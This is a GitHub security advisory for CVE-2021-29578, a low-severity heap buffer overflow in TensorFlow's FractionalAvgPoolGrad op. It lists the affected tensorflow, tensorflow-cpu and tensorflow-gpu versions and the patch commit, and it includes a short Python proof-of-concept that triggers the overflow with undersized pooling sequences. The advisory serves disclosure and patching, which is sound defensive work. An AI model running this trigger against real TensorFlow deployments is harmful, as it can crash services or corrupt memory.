GitHub Advisoryadvisory · PyPI
GHSA-6f89-8j54-29xf Heap buffer overflow in `FractionalAvgPoolGrad`
LOW
Official page ↗
- Aliases
- CVE-2021-29578
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-119, CWE-787
- Reviewed
- 2021-05-18
Affected packages
• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
• PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
• PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
Description
Impact
The implementation of `tf.raw_ops.FractionalAvgPoolGrad` is vulnerable to a heap buffer overflow:
```python
import tensorflow as tf
orig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64)
out_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalAvgPoolGrad(
orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
```
The implementation fails to validate that the pooling sequence arguments have enough elements as required by the `out_backprop` tensor shape.
Patches
We have patched the issue in GitHub commit 12c727cee857fa19be717f336943d95fca4ffe4f.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Related
Alias · CVE (1)
- CVE-2021-29578 TensorFlow is an end-to-end open source platform for machine learning. vulnerability
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6f89-8j54-29xf web
- https://nvd.nist.gov/vuln/detail/CVE-2021-29578 advisory
- https://github.com/tensorflow/tensorflow/commit/12c727cee857fa19be717f336943d95fca4ffe4f web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-506.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-704.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-215.yaml web
- https://github.com/tensorflow/tensorflow package